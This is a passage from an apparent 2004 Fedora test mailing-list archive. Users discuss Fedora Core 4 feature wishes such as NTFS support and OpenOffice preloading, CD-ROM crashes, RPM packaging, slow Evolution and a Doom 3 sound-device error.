ready to print. > > -- Kim Lux (Mr.) Diesel Research Inc From rpjday at mindspring.com Sat Nov 13 16:46:33 2004 From: rpjday at mindspring.com (Robert P. J. Day) Date: Sat, 13 Nov 2004 11:46:33 -0500 (EST) Subject: Features for FC4 In-Reply-To: <1100364271.30332.0.camel@localhost.localdomain> References: <200411122335.28597.jeffy5@optonline.net> <1100364271.30332.0.camel@localhost.localdomain> Message-ID: On Sat, 13 Nov 2004, Kim Lux wrote: > I just thought of something: ntfs should be enabled in stock > kernels. Anyone running a dual boot XP system will appreciate this. oh, man, i'm pretty sure you didn't want to open *that* can of worms :-) rday From lux at diesel-research.com Sat Nov 13 17:01:09 2004 From: lux at diesel-research.com (Kim Lux) Date: Sat, 13 Nov 2004 10:01:09 -0700 Subject: Features for FC4 In-Reply-To: References: <200411122335.28597.jeffy5@optonline.net> <1100364271.30332.0.camel@localhost.localdomain> Message-ID: <1100365269.30372.2.camel@localhost.localdomain> I'm sorry... I'm ignorant of what I just started. I've got a project where I am doing development with both Windows and Linux and I need to move data back and forth. The only way I can get this now is to build a custom kernel. BTW: xmenuconfig says that ntfs is pretty much stable now. On Sat, 2004-11-13 at 11:46 -0500, Robert P. J. Day wrote: > On Sat, 13 Nov 2004, Kim Lux wrote: > > > I just thought of something: ntfs should be enabled in stock > > kernels. Anyone running a dual boot XP system will appreciate this. > > oh, man, i'm pretty sure you didn't want to open *that* can of worms > :-) > > rday > -- Kim Lux (Mr.) Diesel Research Inc From kyrre at solution-forge.net Sat Nov 13 17:12:37 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Sat, 13 Nov 2004 18:12:37 +0100 Subject: Features for FC4 In-Reply-To: <1100364271.30332.0.camel@localhost.localdomain> References: <200411122335.28597.jeffy5@optonline.net> <1100364271.30332.0.camel@localhost.localdomain> Message-ID: <1100365956.3126.7.camel@kyrre> Not happening. Ask the american patent office why. l?r, 13.11.2004 kl. 17.44 skrev Kim Lux: > I just thought of something: ntfs should be enabled in stock kernels. > Anyone running a dual boot XP system will appreciate this. > > Kim > > > > On Fri, 2004-11-12 at 23:35 -0500, Jeffrey D. Yuille wrote: > > I would like to see a version of Fedora Core 4 where a CUPS server can be > > installed automatically during installation so other computers on the network > > can "see" a CUPS server when they are ready to print. > > > > > -- > Kim Lux (Mr.) Diesel Research Inc From pjones at redhat.com Sat Nov 13 17:16:14 2004 From: pjones at redhat.com (Peter Jones) Date: Sat, 13 Nov 2004 12:16:14 -0500 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100311659.10595.3.camel@localhost.localdomain> References: <1100187712.4454.26.camel@localhost.localdomain> <20041111184518.GA30794@jadzia.bu.edu> <1100199207.3866.0.camel@localhost.localdomain> <1100235860.12760.22.camel@ml350.bankofamerica.com> <1100303477.29113.27.camel@localhost.localdomain> <1100311659.10595.3.camel@localhost.localdomain> Message-ID: <1100366174.4646.0.camel@localhost.localdomain> On Fri, 2004-11-12 at 19:07 -0700, Kim Lux wrote: > On Fri, 2004-11-12 at 18:51 -0500, Peter Jones wrote: > > On Thu, 2004-11-11 at 23:04 -0600, Thomas Cameron wrote: > > > On Thu, 2004-11-11 at 11:53 -0700, Kim Lux wrote: > > > > In my mind there is a big difference between perfection and having a > > > > CDROM that doesn't work. > > > > > > Kim - > > > > > > I'm sorry but I have not seen others with your CDROM issue with any > > > frequency on this or on the fedora users list. I've installed FC3 (from > > > early testing to various RCs to release) on a bunch of machines and on > > > every one of them the CD works as you'd expect. > > Thomas: are your people ripping CDs with those computers ? I've used > CDParanoia for 2 years and have experienced various crashes with > it/cdroms, especially when ripping scratched CDs. I'm thinking that > such activity triggers a problem with the communication between the > kernel and the CD drive. > > Peter: this might be a good place for you to start troubleshooting on > your computer. Find a scratched audio CD and start ripping. I'm pretty > certain you'll be able to replicate my problem. Scratched CDs work ok on several of my boxes -- often I get crap data back, but they certainly don't crash the box. -- Peter From seyman at wanadoo.fr Sat Nov 13 17:17:25 2004 From: seyman at wanadoo.fr (Emmanuel Seyman) Date: Sat, 13 Nov 2004 18:17:25 +0100 Subject: Features for FC4 In-Reply-To: <1100364271.30332.0.camel@localhost.localdomain> References: <200411122335.28597.jeffy5@optonline.net> <1100364271.30332.0.camel@localhost.localdomain> Message-ID: <20041113171725.GB7168@orient.maison.moi> On Sat, Nov 13, 2004 at 09:44:31AM -0700, Kim Lux wrote: > > I just thought of something: ntfs should be enabled in stock kernels. > Anyone running a dual boot XP system will appreciate this. This has been discussed again and again and again. It won't happen due to patent issues. Emmanuel From kyrre at solution-forge.net Sat Nov 13 17:17:23 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Sat, 13 Nov 2004 18:17:23 +0100 Subject: Features for FC4 In-Reply-To: <1100363086.29852.21.camel@localhost.localdomain> References: <1100112479.3955.62.camel@marius.asheville.interact> <1100362722.2810.23.camel@kyrre> <1100363086.29852.21.camel@localhost.localdomain> Message-ID: <1100366243.3126.13.camel@kyrre> l?r, 13.11.2004 kl. 17.24 skrev Kim Lux: > On Sat, 2004-11-13 at 17:18 +0100, Kyrre Ness Sjobak wrote: > > > - Openoffice shoulnt use 30 secounds to load the dictionaries. (only > > load the default language?) > > > > Maybee: > > - Preloading of Openoffice and default web browser, to make the system > > respond *imediatly* and open those progs. > > OO spell checking used to take forever and now it is almost > instantaneous. Kudos to whomever did that. > Agreed. Haven't gotten around to install FC3 on my main computer yet... But the spell checker *still* takes ages to load in FC2. And OO itself... It took five FIVE minutes to start on an 128 MB RAM 500 Mhz computer (fc3). So preloading firefox and OO when you start gnome, would be a big win. It would make the computer *seem* a lot faster/responsive. And that is really what counts for most desktop users. > OO is getting faster all the time, in my opinion. In RH8 it was pretty > slow. > > BTW: I just love OO. I use it every day. > Me to. Had to use Word 2003 on friday, and it is lightyears behind OO when it comes to styles/object placement :) From seyman at wanadoo.fr Sat Nov 13 17:36:27 2004 From: seyman at wanadoo.fr (Emmanuel Seyman) Date: Sat, 13 Nov 2004 18:36:27 +0100 Subject: Features for FC4 In-Reply-To: <1100365269.30372.2.camel@localhost.localdomain> References: <200411122335.28597.jeffy5@optonline.net> <1100364271.30332.0.camel@localhost.localdomain> <1100365269.30372.2.camel@localhost.localdomain> Message-ID: <20041113173627.GA7238@orient.maison.moi> On Sat, Nov 13, 2004 at 10:01:09AM -0700, Kim Lux wrote: > > I've got a project where I am doing development with both Windows and > Linux and I need to move data back and forth. The only way I can get > this now is to build a custom kernel. http://linux-ntfs.sourceforge.net/rpm/ Emmanuel From lux at diesel-research.com Sat Nov 13 17:46:29 2004 From: lux at diesel-research.com (Kim Lux) Date: Sat, 13 Nov 2004 10:46:29 -0700 Subject: Features for FC4 In-Reply-To: <1100366243.3126.13.camel@kyrre> References: <1100112479.3955.62.camel@marius.asheville.interact> <1100362722.2810.23.camel@kyrre> <1100363086.29852.21.camel@localhost.localdomain> <1100366243.3126.13.camel@kyrre> Message-ID: <1100367989.31911.3.camel@localhost.localdomain> Your problem is the 128MB of RAM. If you watch your swap memory in a monitor, you'll find that there is a tremendous amount of swapping going on. Upgrading to 512MB of RAM will make a huge difference. Linux runs pretty well on old/slow hardware *as long as it has enough RAM*. I'm not an advocate of your preloading request. On your machine I think it would make things worse, because the preloaded apps are just going to consume some of your valuable RAM and swap out the rest. BTW: Another app that got a lot faster is Evolution. My inbox has 11,000 emails in it and they did something to make it work better with large inboxes. On Sat, 2004-11-13 at 18:17 +0100, Kyrre Ness Sjobak wrote: > l?r, 13.11.2004 kl. 17.24 skrev Kim Lux: > > On Sat, 2004-11-13 at 17:18 +0100, Kyrre Ness Sjobak wrote: > > > > > - Openoffice shoulnt use 30 secounds to load the dictionaries. (only > > > load the default language?) > > > > > > Maybee: > > > - Preloading of Openoffice and default web browser, to make the system > > > respond *imediatly* and open those progs. > > > > OO spell checking used to take forever and now it is almost > > instantaneous. Kudos to whomever did that. > > > > Agreed. Haven't gotten around to install FC3 on my main computer yet... > But the spell checker *still* takes ages to load in FC2. And OO > itself... It took five FIVE minutes to start on an 128 MB RAM 500 Mhz > computer (fc3). > > So preloading firefox and OO when you start gnome, would be a big win. > It would make the computer *seem* a lot faster/responsive. And that is > really what counts for most desktop users. > > > OO is getting faster all the time, in my opinion. In RH8 it was pretty > > slow. > > > > BTW: I just love OO. I use it every day. > > > > Me to. Had to use Word 2003 on friday, and it is lightyears behind OO > when it comes to styles/object placement :) > > -- Kim Lux (Mr.) Diesel Research Inc From shrek-m at gmx.de Sat Nov 13 17:49:32 2004 From: shrek-m at gmx.de (shrek-m at gmx.de) Date: Sat, 13 Nov 2004 18:49:32 +0100 Subject: Features for FC4 In-Reply-To: <1100365269.30372.2.camel@localhost.localdomain> References: <200411122335.28597.jeffy5@optonline.net> <1100364271.30332.0.camel@localhost.localdomain> <1100365269.30372.2.camel@localhost.localdomain> Message-ID: <4196492C.8090404@gmx.de> Kim Lux wrote: >I've got a project where I am doing development with both Windows and >Linux and I need to move data back and forth. > you have your data on a dual-boot-machine ? good luck ;-) >The only way I can get >this now is to build a custom kernel. > vfat - partition http://linux-ntfs.sourceforge.net/rpm/fedora3.html -- shrek-m From lux at diesel-research.com Sat Nov 13 17:54:27 2004 From: lux at diesel-research.com (Kim Lux) Date: Sat, 13 Nov 2004 10:54:27 -0700 Subject: Did you know... (KDE tool tray trick.) Message-ID: <1100368467.31959.5.camel@localhost.localdomain> People might know this, but I'll share it for those that don't. You can drag a shortcut folder onto your tooltray in KDE and then it becomes an instant directory browser. 1) Create a shortcut folder on your Desktop. I make mine point to ~. (Select the folder, drag it onto the desktop and when it asks, select "Link Here".) 2) Take the shortcut you just created and drag it onto the KDE task bar. You should see a folder icon with an up arrow in the corner. 3) Click on the folder icon. You've now got a mini hierarchical file browser that lets you open a file, open a terminal or open file manager anywhere. It saves me a lot of time browsing (command line or otherwise) to get where I want. I hope this isn't wasting bandwidth. -- Kim Lux (Mr.) Diesel Research Inc From maze at cela.pl Sat Nov 13 17:54:28 2004 From: maze at cela.pl (=?ISO-8859-2?Q?Maciej_=AFenczykowski?=) Date: Sat, 13 Nov 2004 18:54:28 +0100 (CET) Subject: Features for FC4 In-Reply-To: <1100365269.30372.2.camel@localhost.localdomain> References: <200411122335.28597.jeffy5@optonline.net> <1100364271.30332.0.camel@localhost.localdomain> <1100365269.30372.2.camel@localhost.localdomain> Message-ID: There are easily downloadable modules of the ntfs kernel module prebuilt to work with RH/FC/debian on the ntfs module site (google://linux+ntfs) http://linux-ntfs.sourceforge.net/rpm/fedora3.html Trivial to get it working. Only R/O though (unless you call writing inside already created files write access, without even the possibility of changing file size :) ). Cheers, MaZe. On Sat, 13 Nov 2004, Kim Lux wrote: > I'm sorry... I'm ignorant of what I just started. > > I've got a project where I am doing development with both Windows and > Linux and I need to move data back and forth. The only way I can get > this now is to build a custom kernel. BTW: xmenuconfig says that ntfs > is pretty much stable now. > > > On Sat, 2004-11-13 at 11:46 -0500, Robert P. J. Day wrote: > > On Sat, 13 Nov 2004, Kim Lux wrote: > > > > > I just thought of something: ntfs should be enabled in stock > > > kernels. Anyone running a dual boot XP system will appreciate this. > > > > oh, man, i'm pretty sure you didn't want to open *that* can of worms > > :-) > > > > rday > > > From lux at diesel-research.com Sat Nov 13 17:58:54 2004 From: lux at diesel-research.com (Kim Lux) Date: Sat, 13 Nov 2004 10:58:54 -0700 Subject: Features for FC4 In-Reply-To: References: <200411122335.28597.jeffy5@optonline.net> <1100364271.30332.0.camel@localhost.localdomain> <1100365269.30372.2.camel@localhost.localdomain> Message-ID: <1100368734.31959.7.camel@localhost.localdomain> I need R/W. I'll just build a kernel. Or I'll use a FAT32 drive that I can access from both. On Sat, 2004-11-13 at 18:54 +0100, Maciej ?enczykowski wrote: > There are easily downloadable modules of the ntfs kernel module prebuilt > to work with RH/FC/debian on the ntfs module site (google://linux+ntfs) > http://linux-ntfs.sourceforge.net/rpm/fedora3.html > > Trivial to get it working. Only R/O though (unless you call writing > inside already created files write access, without even the possibility of > changing file size :) ). > > Cheers, > MaZe. > > > On Sat, 13 Nov 2004, Kim Lux wrote: > > > I'm sorry... I'm ignorant of what I just started. > > > > I've got a project where I am doing development with both Windows and > > Linux and I need to move data back and forth. The only way I can get > > this now is to build a custom kernel. BTW: xmenuconfig says that ntfs > > is pretty much stable now. > > > > > > On Sat, 2004-11-13 at 11:46 -0500, Robert P. J. Day wrote: > > > On Sat, 13 Nov 2004, Kim Lux wrote: > > > > > > > I just thought of something: ntfs should be enabled in stock > > > > kernels. Anyone running a dual boot XP system will appreciate this. > > > > > > oh, man, i'm pretty sure you didn't want to open *that* can of worms > > > :-) > > > > > > rday > > > > > > -- Kim Lux (Mr.) Diesel Research Inc From fedora at leemhuis.info Sat Nov 13 18:09:45 2004 From: fedora at leemhuis.info (Thorsten Leemhuis) Date: Sat, 13 Nov 2004 19:09:45 +0100 Subject: Features for FC4 In-Reply-To: <1100368734.31959.7.camel@localhost.localdomain> References: <200411122335.28597.jeffy5@optonline.net> <1100364271.30332.0.camel@localhost.localdomain> <1100365269.30372.2.camel@localhost.localdomain> <1100368734.31959.7.camel@localhost.localdomain> Message-ID: <1100369385.4432.2.camel@localhost.localdomain> Am Samstag, den 13.11.2004, 10:58 -0700 schrieb Kim Lux: > I need R/W. I'll just build a kernel. Or I'll use a FAT32 drive that I > can access from both. You can rebuild the SRPM at rpm.livna.org easily with rw support -- but thats not recommended. This SRPM can also be used for rawhide kernels (normally) is you use those. HTH CU thl > On Sat, 2004-11-13 at 18:54 +0100, Maciej ?enczykowski wrote: > > There are easily downloadable modules of the ntfs kernel module prebuilt > > to work with RH/FC/debian on the ntfs module site (google://linux+ntfs) > > http://linux-ntfs.sourceforge.net/rpm/fedora3.html > > > > Trivial to get it working. Only R/O though (unless you call writing > > inside already created files write access, without even the possibility of > > changing file size :) ). > > > > Cheers, > > MaZe. > > > > > > On Sat, 13 Nov 2004, Kim Lux wrote: > > > > > I'm sorry... I'm ignorant of what I just started. > > > > > > I've got a project where I am doing development with both Windows and > > > Linux and I need to move data back and forth. The only way I can get > > > this now is to build a custom kernel. BTW: xmenuconfig says that ntfs > > > is pretty much stable now. > > > > > > > > > On Sat, 2004-11-13 at 11:46 -0500, Robert P. J. Day wrote: > > > > On Sat, 13 Nov 2004, Kim Lux wrote: > > > > > > > > > I just thought of something: ntfs should be enabled in stock > > > > > kernels. Anyone running a dual boot XP system will appreciate this. > > > > > > > > oh, man, i'm pretty sure you didn't want to open *that* can of worms > > > > :-) > > > > > > > > rday > > > > > > > > > > -- > Kim Lux (Mr.) Diesel Research Inc > -- Thorsten Leemhuis From vadim at overture.com Sat Nov 13 18:13:51 2004 From: vadim at overture.com (Vadim) Date: Sat, 13 Nov 2004 10:13:51 -0800 Subject: Features for FC4 In-Reply-To: <1100358363.29106.30.camel@localhost.localdomain> References: <1100112479.3955.62.camel@marius.asheville.interact> <200411111237.39166.tony.molloy@ul.ie> <1100177435.4387.7.camel@laptop.fenrus.org> <37776.62.2.21.164.1100178242.squirrel@62.2.21.164> <1100220091.22508.71.camel@localhost.localdomain> <1100217259.4069.378.camel@preview> <1100253721.3313.98.camel@douglas-furlong.firebox.com> <42496.62.2.21.164.1100255045.squirrel@62.2.21.164> <1100258399.27583.11.camel@steelgoose.com> <1100263659.3205.29.camel@ricardo.veguilla.net> <1100264085.5768.2.camel@localhost.localdomain> <1100267730.3205.49.camel@ricardo.veguilla.net> <1100281857.4806.6.camel@localhost.localdomain> <1100358363.29106.30.camel@localhost.localdomain> Message-ID: <1100369632.4812.2.camel@localhost.localdomain> Thanks, Kim. I've got ndiswrapper working last night. Sure beats having cisco 350 sticking out of my pcmcia slot. -V On Sat, 2004-11-13 at 08:06 -0700, Kim Lux wrote: > I second his request #1. > > Vadim: have you tried ndiswrapper for your wifi ? A bunch of us run > HPzd7000 laptops with a Broadcom wifi "card" ndiswrapper works > excellent with it. > > You can find a HOWTO written by yours truly at www.zd7000forums.com in > the Linux forum. > > > > On Fri, 2004-11-12 at 09:50 -0800, Vadim wrote: > > I would like to see the following: > > 1 - Better driver support for nvidia > > 2 - Support for Broadcom BCM4306 wifi > > 3 - Better power management support. > > 4 - Mac-OS-X like feedback on application starting (Gnome feature) > > 5 - Better sound card resource allocation and management. > > -V > > On Fri, 2004-11-12 at 09:55 -0400, Ricardo Veguilla wrote: > > > On Fri, 2004-11-12 at 12:54 +0000, ian clancy wrote: > > > > Gnome does not lack menu editing. However it has always been strangely > > > > disabled in Redhat/Fedora. > > > > Regards, > > > > Ian Clancy > > > > > > > > > > Yes, Gnome has menu editing, but its one of those things that are in > > > Gnome because everyone wants to have it, not necessarily because its > > > easy to use or "Just Work" ... or at least thats the impression I got > > > from previous discussions about this in the gnome mailing lists. > > > > > > Anyway, I should have specified that I was talking about Gnome lacking > > > menu editing in Fedora. > > > > > > Regards, > > > -- > > > Ricardo Veguilla > > > > > -- > > fedora-test-list mailing list > > fedora-test-list at redhat.com > > To unsubscribe: > > http://www.redhat.com/mailman/listinfo/fedora-test-list -------------- next part -------------- An HTML attachment was scrubbed... URL: From lux at diesel-research.com Sat Nov 13 18:40:18 2004 From: lux at diesel-research.com (Kim Lux) Date: Sat, 13 Nov 2004 11:40:18 -0700 Subject: Features for FC4 In-Reply-To: <1100369385.4432.2.camel@localhost.localdomain> References: <200411122335.28597.jeffy5@optonline.net> <1100364271.30332.0.camel@localhost.localdomain> <1100365269.30372.2.camel@localhost.localdomain> <1100368734.31959.7.camel@localhost.localdomain> <1100369385.4432.2.camel@localhost.localdomain> Message-ID: <1100371218.3044.0.camel@localhost.localdomain> Thanks for the tip. On Sat, 2004-11-13 at 19:09 +0100, Thorsten Leemhuis wrote: > Am Samstag, den 13.11.2004, 10:58 -0700 schrieb Kim Lux: > > I need R/W. I'll just build a kernel. Or I'll use a FAT32 drive that I > > can access from both. > > You can rebuild the SRPM at rpm.livna.org easily with rw support -- but > thats not recommended. This SRPM can also be used for rawhide kernels > (normally) is you use those. > > HTH > > CU > thl > > > On Sat, 2004-11-13 at 18:54 +0100, Maciej ?enczykowski wrote: > > > There are easily downloadable modules of the ntfs kernel module prebuilt > > > to work with RH/FC/debian on the ntfs module site (google://linux+ntfs) > > > http://linux-ntfs.sourceforge.net/rpm/fedora3.html > > > > > > Trivial to get it working. Only R/O though (unless you call writing > > > inside already created files write access, without even the possibility of > > > changing file size :) ). > > > > > > Cheers, > > > MaZe. > > > > > > > > > On Sat, 13 Nov 2004, Kim Lux wrote: > > > > > > > I'm sorry... I'm ignorant of what I just started. > > > > > > > > I've got a project where I am doing development with both Windows and > > > > Linux and I need to move data back and forth. The only way I can get > > > > this now is to build a custom kernel. BTW: xmenuconfig says that ntfs > > > > is pretty much stable now. > > > > > > > > > > > > On Sat, 2004-11-13 at 11:46 -0500, Robert P. J. Day wrote: > > > > > On Sat, 13 Nov 2004, Kim Lux wrote: > > > > > > > > > > > I just thought of something: ntfs should be enabled in stock > > > > > > kernels. Anyone running a dual boot XP system will appreciate this. > > > > > > > > > > oh, man, i'm pretty sure you didn't want to open *that* can of worms > > > > > :-) > > > > > > > > > > rday > > > > > > > > > > > > > > -- > > Kim Lux (Mr.) Diesel Research Inc > > > -- > Thorsten Leemhuis > -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Sat Nov 13 18:44:00 2004 From: lux at diesel-research.com (Kim Lux) Date: Sat, 13 Nov 2004 11:44:00 -0700 Subject: Building rpms for FC3 ? Message-ID: <1100371440.3044.5.camel@localhost.localdomain> I use a number of packages that don't ship with FC3: qcad, xcircuit, etc. The suppliers of these packages usually offer rpms for certain distros. I've never built an rpm before. Is it worthwhile for me to build an FC3 RPM and share it with the package suppliers ? Or should I leave this for the package developers to do, if and when they get FC3 installed ? Is there anything I need to watch out for if I do build rpms ? Thanks. -- Kim Lux (Mr.) Diesel Research Inc From fedora at wir-sind-cool.org Sat Nov 13 19:04:42 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Sat, 13 Nov 2004 20:04:42 +0100 Subject: Building rpms for FC3 ? In-Reply-To: <1100371440.3044.5.camel@localhost.localdomain> References: <1100371440.3044.5.camel@localhost.localdomain> Message-ID: <20041113200442.4bef9ac9.fedora@wir-sind-cool.org> On Sat, 13 Nov 2004 11:44:00 -0700, Kim Lux wrote: > I use a number of packages that don't ship with FC3: qcad, xcircuit, > etc. The suppliers of these packages usually offer rpms for certain > distros. I've never built an rpm before. Is it worthwhile for me to > build an FC3 RPM and share it with the package suppliers ? Or should I > leave this for the package developers to do, if and when they get FC3 > installed ? It is common practice for some software projects to accept contributed distribution-specific packages and either link them in the download section of a web site or declare them official builds. Many projects want their software to be available for as many distributions as possible without that users need to compile source code. However, not seldomly a packager stopped improving a package as soon as it seemed to build in his specific environment. And then the binary builds install, but lack desktop menu entries or other integration work. Or the packager didn't build on a clean Fedora Core system and doesn't mention where to get required dependencies. Alternatively, you could also help with [and gain experience with] the qcad package for Fedora Extras and tell the upstream project about it when it's ready: https://bugzilla.fedora.us/show_bug.cgi?id=848 > Is there anything I need to watch out for if I do build rpms ? Find some packaging hints and guidelines here: http://www.fedora.us/wiki/FedoraDocuments -- Fedora Core release 3 (Heidelberg) - Linux 2.6.9-1.667 loadavg: 2.35 2.36 2.11 From cliff.swelin at rogers.com Sat Nov 13 19:07:28 2004 From: cliff.swelin at rogers.com (Clifford Swelin) Date: Sat, 13 Nov 2004 14:07:28 -0500 Subject: Palm/Evolution synronization Message-ID: <1100372848.3979.2.camel@localhost.localdomain> I seem to remember a couple of articles a month (or so) ago on this subject. Could someone point me in the right direction. I'm having problems setting this up (again) Many thanks. Cliff From jspaleta at gmail.com Sat Nov 13 19:50:17 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Sat, 13 Nov 2004 14:50:17 -0500 Subject: Features for FC4 In-Reply-To: <200411131348.07754.fedora@warmcat.com> References: <1100112479.3955.62.camel@marius.asheville.interact> <1100273701.3313.113.camel@douglas-furlong.firebox.com> <604aa79104111305042d8ef0cf@mail.gmail.com> <200411131348.07754.fedora@warmcat.com> Message-ID: <604aa79104111311507f613c1@mail.gmail.com> On Sat, 13 Nov 2004 13:48:04 +0000, Andy Green wrote: Bah... I've seen several people list a minimal set of packages.. but i have yet to see a comps.xml file offered for community testing. This discussion has happened ever release cycle of fedora. The list archives have several packages lists that define a minimal installation. But I have not seen ONE comps.xml file offered that people in the community can test. A list of packages is as far as any discussion ever gets, but what is needed is a working comps.xml file that people can test and provide feedback on... if people in the community are truely interested in getting a better minimal install available for the next release. The long list of packages adds zero value to the discussion, the comps.xml this guy created is still not available. -jef From kyrre at solution-forge.net Sat Nov 13 20:20:38 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Sat, 13 Nov 2004 21:20:38 +0100 Subject: Features for FC4 In-Reply-To: References: <200411122335.28597.jeffy5@optonline.net> <1100364271.30332.0.camel@localhost.localdomain> <1100365269.30372.2.camel@localhost.localdomain> Message-ID: <1100377238.3126.20.camel@kyrre> l?r, 13.11.2004 kl. 18.54 skrev Maciej ?enczykowski: > There are easily downloadable modules of the ntfs kernel module prebuilt > to work with RH/FC/debian on the ntfs module site (google://linux+ntfs) > http://linux-ntfs.sourceforge.net/rpm/fedora3.html > > Trivial to get it working. Only R/O though (unless you call writing > inside already created files write access, without even the possibility of > changing file size :) ). Doesn't captive provide full (slow) r/w access using the native windows DLL's? > > On Sat, 13 Nov 2004, Kim Lux wrote: > > > I'm sorry... I'm ignorant of what I just started. > > > > I've got a project where I am doing development with both Windows and > > Linux and I need to move data back and forth. The only way I can get > > this now is to build a custom kernel. BTW: xmenuconfig says that ntfs > > is pretty much stable now. > > > > > > On Sat, 2004-11-13 at 11:46 -0500, Robert P. J. Day wrote: > > > On Sat, 13 Nov 2004, Kim Lux wrote: > > > > > > > I just thought of something: ntfs should be enabled in stock > > > > kernels. Anyone running a dual boot XP system will appreciate this. > > > > > > oh, man, i'm pretty sure you didn't want to open *that* can of worms > > > :-) > > > > > > rday > > > > > From kyrre at solution-forge.net Sat Nov 13 20:24:35 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Sat, 13 Nov 2004 21:24:35 +0100 Subject: Features for FC4 In-Reply-To: <1100367989.31911.3.camel@localhost.localdomain> References: <1100112479.3955.62.camel@marius.asheville.interact> <1100362722.2810.23.camel@kyrre> <1100363086.29852.21.camel@localhost.localdomain> <1100366243.3126.13.camel@kyrre> <1100367989.31911.3.camel@localhost.localdomain> Message-ID: <1100377474.3126.25.camel@kyrre> l?r, 13.11.2004 kl. 18.46 skrev Kim Lux: > Your problem is the 128MB of RAM. If you watch your swap memory in a > monitor, you'll find that there is a tremendous amount of swapping going > on. Upgrading to 512MB of RAM will make a huge difference. Linux runs > pretty well on old/slow hardware *as long as it has enough RAM*. > I know this perfectly well. I don't care about that crappy machine - it is a test box, not a production one. It is used... to test things. And as print server. > I'm not an advocate of your preloading request. On your machine I think > it would make things worse, because the preloaded apps are just going to > consume some of your valuable RAM and swap out the rest. > But on those machines who acctually are par with the recomended system specs, it shouln't be a problem. > BTW: Another app that got a lot faster is Evolution. My inbox has > 11,000 emails in it and they did something to make it work better with > large inboxes. > I have something like 10 000 mails in my evo inbox, a lot of vfolders etc., and it is quite snappy. This is evo 1, not 2.0. Even message body searches over the whole lot seldom takes more than 10 secs, which is really acceptable. And this is a 650 mhz, with a slooow disk. > > > > On Sat, 2004-11-13 at 18:17 +0100, Kyrre Ness Sjobak wrote: > > l?r, 13.11.2004 kl. 17.24 skrev Kim Lux: > > > On Sat, 2004-11-13 at 17:18 +0100, Kyrre Ness Sjobak wrote: > > > > > > > - Openoffice shoulnt use 30 secounds to load the dictionaries. (only > > > > load the default language?) > > > > > > > > Maybee: > > > > - Preloading of Openoffice and default web browser, to make the system > > > > respond *imediatly* and open those progs. > > > > > > OO spell checking used to take forever and now it is almost > > > instantaneous. Kudos to whomever did that. > > > > > > > Agreed. Haven't gotten around to install FC3 on my main computer yet... > > But the spell checker *still* takes ages to load in FC2. And OO > > itself... It took five FIVE minutes to start on an 128 MB RAM 500 Mhz > > computer (fc3). > > > > So preloading firefox and OO when you start gnome, would be a big win. > > It would make the computer *seem* a lot faster/responsive. And that is > > really what counts for most desktop users. > > > > > OO is getting faster all the time, in my opinion. In RH8 it was pretty > > > slow. > > > > > > BTW: I just love OO. I use it every day. > > > > > > > Me to. Had to use Word 2003 on friday, and it is lightyears behind OO > > when it comes to styles/object placement :) > > > > > -- > Kim Lux (Mr.) Diesel Research Inc From thomas.cameron at camerontech.com Sat Nov 13 21:14:06 2004 From: thomas.cameron at camerontech.com (Thomas Cameron) Date: Sat, 13 Nov 2004 15:14:06 -0600 Subject: Evolution slooow (was Re: Features for FC4) In-Reply-To: <1100377474.3126.25.camel@kyrre> References: <1100112479.3955.62.camel@marius.asheville.interact> <1100362722.2810.23.camel@kyrre> <1100363086.29852.21.camel@localhost.localdomain> <1100366243.3126.13.camel@kyrre> <1100367989.31911.3.camel@localhost.localdomain> <1100377474.3126.25.camel@kyrre> Message-ID: <1100380446.4550.10.camel@ml350.bankofamerica.com> On Sat, 2004-11-13 at 21:24 +0100, Kyrre Ness Sjobak wrote: > > > BTW: Another app that got a lot faster is Evolution. My inbox has > > 11,000 emails in it and they did something to make it work better with > > large inboxes. > > > > I have something like 10 000 mails in my evo inbox, a lot of vfolders > etc., and it is quite snappy. This is evo 1, not 2.0. Even message body > searches over the whole lot seldom takes more than 10 secs, which is > really acceptable. And this is a 650 mhz, with a slooow disk. I am using Evolution 2.0.2 to read mail via IMAP. I only have about 290 messages in my inbox. It is horribly slow, and every few (maybe 15-20) e-mails that I read causes Evo to drag badly. That message takes 10-20 seconds to load. The mail server is on the LAN with me on 100MB/s switched ethernet. I'm on a Dual 2.8GHz Xeon box with 2GB memory and 15,000 RPM Ultra320 drives so I don't think it's my system. Evolution 2.0.2 is just dog slow. I opened bug https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=139145 on the issue. Evo 1.4 did not exhibit this slowness that I can recall. Thomas From ernesto at ornl.gov Sat Nov 13 21:35:07 2004 From: ernesto at ornl.gov (Ernest L. Williams Jr.) Date: Sat, 13 Nov 2004 16:35:07 -0500 Subject: Lost sound in Doom3 after enabling desktop sounds Message-ID: <1100381707.19116.3.camel@lion> Hi, I am trying the Doom 3 demo; it is awesome!! However, I have lost my sound after enabling sound special effects in KDE: Here is what the doom start up shows: ======================================================================-------------------------------------- --- Common Initialization Complete --- ------------- Warnings --------------- during DOOM 3 initialization... WARNING: failed to open sound device '/dev/dsp': Device or resource busy WARNING: sound subsystem disabled ============================================================================================ Any ideas? Meanwhile, I will attempt to disable all of the sound special effects in KDE. Thanks, Ernesto From lux at diesel-research.com Sat Nov 13 21:49:28 2004 From: lux at diesel-research.com (Kim Lux) Date: Sat, 13 Nov 2004 14:49:28 -0700 Subject: Building rpms for FC3 ? In-Reply-To: <20041113200442.4bef9ac9.fedora@wir-sind-cool.org> References: <1100371440.3044.5.camel@localhost.localdomain> <20041113200442.4bef9ac9.fedora@wir-sind-cool.org> Message-ID: <1100382568.4758.4.camel@localhost.localdomain> On Sat, 2004-11-13 at 20:04 +0100, Michael Schwendt wrote: > Alternatively, you could also help with [and gain experience with] the > qcad package for Fedora Extras and tell the upstream project about it > when it's ready: https://bugzilla.fedora.us/show_bug.cgi?id=848 I forgot that FC shipped qcad as an extra. I saw it in the directories. Is that group in contact with Andrew at Ribbonsoft ? I could sure test it for them. I spent about 20 hours doing CAD this week. I sent 3 issues to Andrew and a number of suggestions. -- Kim Lux (Mr.) Diesel Research Inc From mark at talios.com Sat Nov 13 21:52:19 2004 From: mark at talios.com (Mark Derricutt) Date: Sun, 14 Nov 2004 